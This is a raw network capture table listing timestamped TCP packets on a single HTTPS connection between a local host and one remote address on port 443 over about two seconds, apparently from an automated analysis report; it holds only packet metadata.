Dec 5, 2024 15:04:30.733001947 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:30.733066082 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:30.733087063 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:30.740892887 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:30.740915060 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:30.741014004 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:30.741034985 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:30.751627922 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:30.751643896 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:30.751729012 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:30.751759052 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:30.755625963 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:30.755717993 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:30.755727053 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:30.757317066 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:30.757379055 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:30.757385015 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:30.757437944 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:30.893518925 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:30.893539906 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:30.893608093 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:30.893620968 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:30.893646955 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:30.893661976 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:30.900346041 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:30.900362015 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:30.900404930 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:30.900414944 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:30.900458097 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:30.900458097 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:30.908540964 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:30.908559084 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:30.908606052 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:30.908612967 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:30.908657074 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:30.916748047 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:30.916769981 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:30.916826010 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:30.916838884 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:30.916863918 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:30.916884899 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:30.924420118 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:30.924438000 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:30.924478054 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:30.924489975 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:30.924503088 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:30.924524069 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:30.931705952 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:30.931735039 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:30.931770086 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:30.931778908 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:30.931793928 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:30.931814909 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:30.941260099 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:30.941281080 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:30.941339970 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:30.941354990 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:30.941390038 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:30.947503090 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:30.947523117 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:30.947578907 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:30.947590113 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:30.947627068 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:31.086252928 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:31.086277962 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:31.086446047 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:31.086467981 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:31.086509943 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:31.094185114 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:31.094201088 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:31.094266891 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:31.094274044 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:31.094315052 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:31.101154089 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:31.101171017 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:31.101247072 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:31.101253986 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:31.101290941 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:31.109225988 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:31.109241009 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:31.109328985 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:31.109335899 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:31.109375954 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:31.116597891 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:31.116614103 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:31.116683006 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:31.116689920 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:31.116725922 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:31.124100924 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:31.124116898 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:31.124178886 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:31.124185085 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:31.124223948 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:31.133316994 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:31.133337975 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:31.133394003 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:31.133399963 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:31.133435965 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:31.141253948 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:31.141269922 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:31.141340017 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:31.141345978 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:31.141385078 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:31.278520107 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:31.278537989 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:31.278644085 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:31.278655052 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:31.278693914 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:31.285437107 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:31.285453081 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:31.285515070 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:31.285521030 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:31.285551071 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:31.285576105 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:31.293716908 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:31.293731928 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:31.293838978 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:31.293843985 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:31.293880939 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:31.301093102 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:31.301114082 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:31.301183939 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:31.301189899 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:31.301230907 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:31.308195114 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:31.308212042 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:31.308300972 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:31.308306932 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:31.308346033 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:31.315447092 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:31.315462112 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:31.315526009 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:31.315531969 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:31.315577984 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:31.325241089 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:31.325257063 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:31.325311899 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:31.325320005 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:31.325359106 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:31.333278894 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:31.333293915 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:31.333360910 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:31.333368063 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:31.333405972 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:31.470117092 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:31.470139980 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:31.470205069 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:31.470231056 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:31.470243931 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:31.470272064 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:31.477931976 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:31.477948904 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:31.478013039 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:31.478019953 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:31.478032112 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:31.478058100 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:31.484767914 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:31.484790087 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:31.484841108 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:31.484862089 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:31.484877110 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:31.484908104 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:31.492607117 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:31.492623091 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:31.492667913 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:31.492676020 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:31.492734909 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:31.500427008 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:31.500442982 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:31.500499010 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:31.500509024 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:31.500556946 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:31.507632017 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:31.507647991 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:31.507699013 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:31.507704973 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:31.507735968 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:31.507754087 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:31.517585993 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:31.517602921 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:31.517651081 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:31.517656088 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:31.517699957 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:31.524472952 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:31.524488926 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:31.524559021 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:31.524564981 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:31.524610996 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:31.662322044 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:31.662344933 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:31.662471056 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:31.662493944 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:31.662532091 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:31.670068979 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:31.670088053 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:31.670149088 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:31.670164108 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:31.670209885 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:31.676906109 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:31.676920891 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:31.676987886 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:31.676999092 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:31.677042007 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:31.687921047 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:31.687938929 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:31.688030005 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:31.688052893 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:31.688093901 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:31.694467068 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:31.694483042 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:31.694574118 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:31.694580078 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:31.694624901 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:31.701678038 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:31.701693058 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:31.701793909 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:31.701800108 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:31.701845884 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:31.711803913 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:31.711822987 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:31.711869955 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:31.711874962 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:31.711911917 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:31.716547012 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:31.716562033 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:31.716624975 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:31.716630936 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:31.716670990 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:31.854463100 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:31.854487896 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:31.854567051 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:31.854588985 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:31.854742050 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:31.854742050 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:31.862214088 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:31.862231016 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:31.862315893 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:31.862322092 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:31.862370968 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:31.870085001 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:31.870100021 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:31.870183945 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:31.870189905 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:31.870229959 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:31.876837015 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:31.876852036 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:31.876952887 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:31.876957893 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:31.877002001 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:31.884615898 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:31.884630919 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:31.884716988 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:31.884723902 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:31.884768963 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:31.892059088 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:31.892074108 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:31.892132998 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:31.892155886 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:31.892205000 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:31.902055979 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:31.902072906 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:31.902158976 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:31.902178049 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:31.902385950 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:31.910137892 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:31.910157919 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:31.910213947 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:31.910222054 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:31.910259962 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:32.047025919 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:32.047050953 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:32.047130108 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:32.047157049 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:32.047203064 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:32.054603100 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:32.054626942 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:32.054663897 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:32.054672956 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:32.054694891 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:32.054712057 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:32.062448978 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:32.062479973 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:32.062549114 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:32.062566996 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:32.062594891 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:32.062619925 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:32.069576979 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:32.069596052 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:32.069663048 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:32.069679976 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:32.069725990 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:32.076999903 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:32.077018023 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:32.077078104 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:32.077089071 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:32.077125072 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:32.084389925 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:32.084429026 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:32.084501028 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:32.084510088 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:32.084559917 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:32.094126940 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:32.094145060 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:32.094228029 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:32.094238043 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:32.094283104 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:32.101937056 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:32.101954937 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:32.102020025 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:32.102030039 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:32.102070093 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:32.239093065 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:32.239115953 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:32.239516973 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:32.239535093 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:32.239609003 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:32.246834040 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:32.246856928 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:32.246929884 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:32.246944904 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:32.246990919 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:32.254736900 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:32.254757881 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:32.254823923 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:32.254842043 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:32.254882097 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:32.261544943 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:32.261563063 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:32.261634111 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:32.261640072 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:32.261676073 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:32.269778967 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:32.269794941 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:32.269875050 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:32.269879103 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:32.269917965 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:32.276541948 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:32.276559114 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:32.276635885 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:32.276640892 CET	443	49906	104.21.71.43	192.168.2.6
